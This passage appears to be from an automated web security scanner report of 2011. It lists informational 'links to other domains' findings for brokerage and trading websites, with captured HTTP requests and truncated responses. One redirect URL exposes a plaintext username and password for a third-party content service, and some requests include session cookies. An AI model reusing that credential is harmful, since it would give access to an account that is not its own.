<area alt="My Yahoo" href="http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/Corporate%20Bond%20Brief/*http://add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/corpbonds_complete.rss" coords="53,10,155,44" shape="rect" />
<area alt="Add to Google" href="http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/corpbonds_complete.rss" coords="182,13,293,44" shape="rect" />
<area alt="Subscribe with Bloglines" href="http://www.bloglines.com/sub/http://www.interactivebrokers.com/rss/corpbonds_complete.rss" coords="325,14,406,42" shape="rect" />
<area alt="Subscribe with Newsgater" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/corpbonds_complete.rss" coords="444,14,545,44" shape="rect" />
<area alt="Subscribe with Netvibes" href="http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/corpbonds_complete.rss" coords="574,9,673,43" shape="rect" />
<area alt="XML" href="http://www.interactivebrokers.com/rss/corpbonds_complete.rss" coords="706,11,759,44" shape="rect" />
...[SNIP]...
<em>September 05, 2011 - Provided by Bullion Weekly from <a target="_blank" href="http://www.thebulliondesk.com" style="color:#000">www.thebulliondesk.com</a>
...[SNIP]...
<br /><a href="http://premium.basemetals.com/content/html/FMTermsandConditionsforonlineServices.html" target="_blank">http://premium.basemetals.com/content/html/FMTermsandConditionsforonlineServices.html</a>
...[SNIP]...
<br /><a href="http://premium.basemetals.com/content/html/Privacy_Policy.html" target="_blank">http://premium.basemetals.com/content/html/Privacy_Policy.html</a>
...[SNIP]...

16.26. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/p.php?f=funding&ib_entity=uk

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://www.europeanpaymentscouncil.eu/
https://wt1.interactivebrokers.ch/webtrader2/servlet/login

Request

GET /en/p.php?f=funding&ib_entity=uk HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/en/pagemap/pagemap_education.php?ib_entity=uk
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:37 GMT
Server: Apache
Content-Length: 114558
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Funds an
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php">Careers</a>
...[SNIP]...
<li><a href="https://wt1.interactivebrokers.ch/webtrader2/servlet/login" target="_blank">WebTrader</a>
...[SNIP]...
ed Broker clients. SEPA withdrawals are only available for EURO currency withdrawals. Requests approved by 10:00 AM ET will be sent by 11:00 AM ET. For more information about SEPA withdrawals, see the <a href="http://www.europeanpaymentscouncil.eu" target="_blank">European Payments Council web site.</a>
...[SNIP]...

16.27. http://www.interactivebrokers.com/en/pagemap/pagemap_education.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_education.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/pagemap/pagemap_education.php?ib_entity=uk

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://www.adobe.com/go/getflashplayer
https://wt1.interactivebrokers.ch/webtrader2/servlet/login

Request

GET /en/pagemap/pagemap_education.php?ib_entity=uk HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.co.uk/en/main.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:58:29 GMT
Server: Apache
Content-Length: 44263
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Educatio
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php">Careers</a>
...[SNIP]...
<li><a href="https://wt1.interactivebrokers.ch/webtrader2/servlet/login" target="_blank">WebTrader</a>
...[SNIP]...
<strong>You need to upgrade your Flash Player. <a href="http://www.adobe.com/go/getflashplayer">Click here</a>
...[SNIP]...

16.28. http://www.interactivebrokers.com/en/pagemap/pagemap_newaccounts.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/pagemap/pagemap_newaccounts.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/pagemap/pagemap_newaccounts.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/pagemap/pagemap_newaccounts.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:40 GMT
Server: Apache
Content-Length: 38975
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title></title>
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

16.29. http://www.interactivebrokers.com/en/site_map.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/site_map.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/site_map.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/site_map.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:47 GMT
Server: Apache
Content-Length: 49428
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Site Map
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<br />
- <a href="http://interactivebrokers.hrmdirect.com/employment/index.php" target="_blank">Careers</a>
...[SNIP]...

16.30. http://www.interactivebrokers.com/en/software/downloadPlugin.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/downloadPlugin.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/software/downloadPlugin.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://java.com/en/download/manual.jsp
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/downloadPlugin.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:10 GMT
Server: Apache
Content-Length: 41311
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Java Upgrade Instructions</title>
<meta name="description
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<p><a target="_blank" href="http://java.com/en/download/manual.jsp"><img border="0" alt="" src="../../images/common/install_java_02.gif" />
...[SNIP]...

16.31. http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-FxTrader.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/pdfhighlights/PDF-FxTrader.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-FxTrader.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.finra.org/
http://www.nyse.com/
http://www.sipc.org/

Request

GET /en/software/pdfhighlights/PDF-FxTrader.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:54 GMT
Server: Apache
Content-Length: 40226
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>FXTrader Product Highlights</title>
<meta name="descripti
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<p class="smalltext2">Interactive Brokers LLC is a member of <a target="_blank" href="http://www.nyse.com/">NYSE</a>, <a target="_blank" href="http://www.finra.org/">FINRA</a>, <a target="_blank" href="http://www.sipc.org/">SIPC</a>
...[SNIP]...

16.32. http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-TechAnalytics.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/pdfhighlights/PDF-TechAnalytics.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-TechAnalytics.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.finra.org/
http://www.nyse.com/
http://www.sipc.org/

Request

GET /en/software/pdfhighlights/PDF-TechAnalytics.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:57 GMT
Server: Apache
Content-Length: 42711
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Technical Analytics Product Highlights</title>
<meta name
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<div align="left" class="smalltext2">Interactive Brokers LLC is a member of <a href="http://www.nyse.com/" target="_blank">NYSE</a>, <a href="http://www.finra.org/" target="_blank">FINRA</a>, <a href="http://www.sipc.org/" target="_blank">SIPC</a>
...[SNIP]...

16.33. http://www.interactivebrokers.com/en/software/systemStatus.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/systemStatus.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/software/systemStatus.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/systemStatus.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:49 GMT
Server: Apache
Content-Length: 40175
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Current
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

16.34. http://www.interactivebrokers.com/en/software/twsDisclaimer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/twsDisclaimer.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/software/twsDisclaimer.php?ib_entity=llc&twsdemo=4

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/twsDisclaimer.php?ib_entity=llc&twsdemo=4 HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:04 GMT
Server: Apache
Content-Length: 38245
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>TWS Login</title>
<meta name="description" content="Login
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

16.35. http://www.interactivebrokers.com/en/software/twsTutorial.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/software/twsTutorial.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/software/twsTutorial.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/software/twsTutorial.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:03 GMT
Server: Apache
Content-Length: 45464
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Interac
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

16.36. http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-Forex.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/trading/pdfhighlights/PDF-Forex.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-Forex.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.adobe.com/go/getflashplayer
http://www.euromoney.com/Article/2194110/FX-poll-2009-Embattled-banks-boosted-by-performance-in-booming-FX-markets.html

Request

GET /en/trading/pdfhighlights/PDF-Forex.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/images/sitetemplate/new/forexTicker_wide_v2_US.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:53 GMT
Server: Apache
Content-Length: 46708
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Forex Product Highlights</title>
<meta name="description"
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<br />
<a href="http://www.adobe.com/go/getflashplayer">Click here</a>
...[SNIP]...
<div class="smalltext2">[1] Source: Euromoney FX survey <a target="_blank" href="http://www.euromoney.com/Article/2194110/FX-poll-2009-Embattled-banks-boosted-by-performance-in-booming-FX-markets.html">FX Poll</a>
...[SNIP]...

16.37. http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-OptionsDesk.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/trading/pdfhighlights/PDF-OptionsDesk.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-OptionsDesk.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/trading/pdfhighlights/PDF-OptionsDesk.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:49 GMT
Server: Apache
Content-Length: 39393
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Options Trade Desk</title>
<meta name="description" conte
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

16.38. http://www.invest-store.com/btc/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/btc/

Issue detail

The page was loaded from a URL containing a query string:

http://www.invest-store.com/btc/?Value=13019038S1

The response contains the following link to another domain:

http://contentcafe2.btol.com/ContentCafe/Jacket.aspx?UserID=experttraders&Password=bt0147&Return=T&Type=S&Value=13019038S1

Request

GET /btc/?Value=13019038S1 HTTP/1.1
Host: www.invest-store.com
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/cgi-bin/commoditybooks-bin/category.cgi?page=bargainbuys
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SaneID=50.23.123.106-20252902820223

Response

HTTP/1.1 302 Redirect
Content-Length: 261
Content-Type: text/html
Location: http://contentcafe2.btol.com/ContentCafe/Jacket.aspx?UserID=experttraders&Password=bt0147&Return=T&Type=S&Value=13019038S1
Server: Microsoft-IIS/6.0
p3p: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
X-Powered-By: ASP.NET
Date: Thu, 08 Sep 2011 20:00:16 GMT

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://contentcafe2.btol.com/ContentCafe/Jacket.aspx?UserID=experttraders&Password=bt0147&Return=T&Type=S&Value=13019038S1">here</a>
...[SNIP]...

16.39. http://www.invest-store.com/cgi-bin/commoditybooks-bin/home.cgi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.invest-store.com
Path:	/cgi-bin/commoditybooks-bin/home.cgi

Issue detail

The page was loaded from a URL containing a query string:

http://www.invest-store.com/cgi-bin/commoditybooks-bin/home.cgi?division=books

The response contains the following link to another domain:

http://www.traderslibrary.com/productpages/3PDFChoice/?origin=I169

Request

GET /cgi-bin/commoditybooks-bin/home.cgi?division=books HTTP/1.1
Host: www.invest-store.com
Proxy-Connection: keep-alive
Referer: http://www.invest-store.com/commoditybooks/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SaneID=50.23.123.106-20252902820223

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:00:06 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=ISO-8859-1

<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<TITLE>Commodity Books online store</TITLE>
<SCRIPT LANGUAGE="JavaScript">
<!-- hide from old browsers
function S
...[SNIP]...
<td align="center" valign="top">
<a href="http://www.traderslibrary.com/productpages/3PDFChoice/?origin=I169" border="0" target="_blank">
<img src="/images/Free_ebook.gif" width="155" height="125" border="0">
...[SNIP]...

16.40. http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/promos/experience_an_options_specialist.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s

The response contains the following links to other domains:

http://www.arcaex.com/
http://www.cboe.com/
http://www.finra.org/index.htm
http://www.iseoptions.com/
http://www.nasdaqtrader.com/Micro.aspx?id=nasdaqoptions
http://www.nfa.futures.org/
http://www.nyse.com/futuresoptions/nyseamex/1218155409117.html
http://www.optionsclearing.com/about/publications/character-risks.jsp
http://www.phlx.com/
http://www.sipc.org/

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 20472
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=DF3642BF4CCA46E3BCB4B2AC904A07B2; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:37 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Options tradin
...[SNIP]...
<p>Options involve risk and are not suitable for all investors. Please read <a href="http://www.optionsclearing.com/about/publications/character-risks.jsp">"Characteristics and Risks of Standardized Options"</a>
...[SNIP]...
<p>Copyright © 2011 optionsXpress, Inc. All rights reserved. Member <a href="http://www.finra.org/index.htm" title="FINRA Website" target="_blank">FINRA</a>, <a href="http://www.sipc.org" title="SIPC website" target="_blank">SIPC</a>, <a href="http://www.nyse.com/futuresoptions/nyseamex/1218155409117.html" title="AMEX website" target="_blank">AMEX</a>, <a href="http://www.nasdaqtrader.com/Micro.aspx?id=nasdaqoptions" title="NOM website" target="_blank">NOM</a>, <a href="http://www.cboe.com/" title="CBOE website" target="_blank">CBOE</a>, <a href="http://www.iseoptions.com/" title="ISE website" target="_blank">ISE</a>, <a href="http://www.arcaex.com/" title="ArcaEX website" target="_blank">ArcaEX</a>, <a href="http://www.phlx.com/" title="PHLX website" target="_blank">PHLX</a>, BATS and <a href="http://www.nfa.futures.org/" title="NFA website" target="_blank">NFA</a>
...[SNIP]...

16.41. http://www.zumo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zumo.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.zumo.com/?gclid=CPHcj5ywjqsCFSwZQgodKTTEtg

The response contains the following links to other domains:

http://208.95.248.123/templates/zumo_temp/images/phoneNumber.jpg
https://server.iad.liveperson.net/hc/65846326/?cmd=file&file=visitorWantsToChat&site=65846326&byhref=1&imageUrl=https://server.iad.liveperson.net/hcp/Gallery/ChatButton-Gallery/English/General/1a

Request

GET /?gclid=CPHcj5ywjqsCFSwZQgodKTTEtg HTTP/1.1
Host: www.zumo.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:24:48 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Thu, 08 Sep 2011 19:24:49 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 17482

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="en-gb" lang=
...[SNIP]...
</a> <a id="_lpChatBtn" href='https://server.iad.liveperson.net/hc/65846326/?cmd=file&file=visitorWantsToChat&site=65846326&byhref=1&imageUrl=https://server.iad.liveperson.net/hcp/Gallery/ChatButton-Gallery/English/General/1a' target='chat65846326' onClick="lpButtonCTTUrl = 'https://server.iad.liveperson.net/hc/65846326/?cmd=file&file=visitorWantsToChat&site=65846326&imageUrl=https://server.iad.liveperson.net/hcp/Gallery/ChatButton-Gallery/English/General/1a&referrer='+escape(document.location); lpButtonCTTUrl = (typeof(lpAppendVisitorCookies) != 'undefined' ? lpAppendVisitorCookies(lpButtonCTTUrl) : lpButtonCTTUrl); lpButtonCTTUrl = ((typeof(lpMTag)!='undefined' && typeof(lpMTag.addFirstPartyCookies)!='undefined')?lpMTag.addFirstPartyCookies(lpButtonCTTUrl):lpButtonCTTUrl);window.open(lpButtonCTTUrl,'chat65846326','width=475,height=400,resizable=yes');return false;" >
Live Chat</a>
...[SNIP]...
<div style="position:relative; top:40px; left:532px;"><img src="http://208.95.248.123/templates/zumo_temp/images/phoneNumber.jpg" width="186" height="13" border="0" alt="1-877-988-ZUMO" /></div>
...[SNIP]...

17. Cross-domain script include previous next
There are 105 instances of this issue:

https://account.optionsxpress.com/OpenAccount/Index
http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html
http://finance.yahoo.com/news/Piedmont-Natural-Gas-prnews-2212692382.html
http://finance.yahoo.com/news/Primary-Petroleum-Present-iw-1675004773.html
http://finance.yahoo.com/news/Retail-gasoline-prices-up-apf-2916275523.html
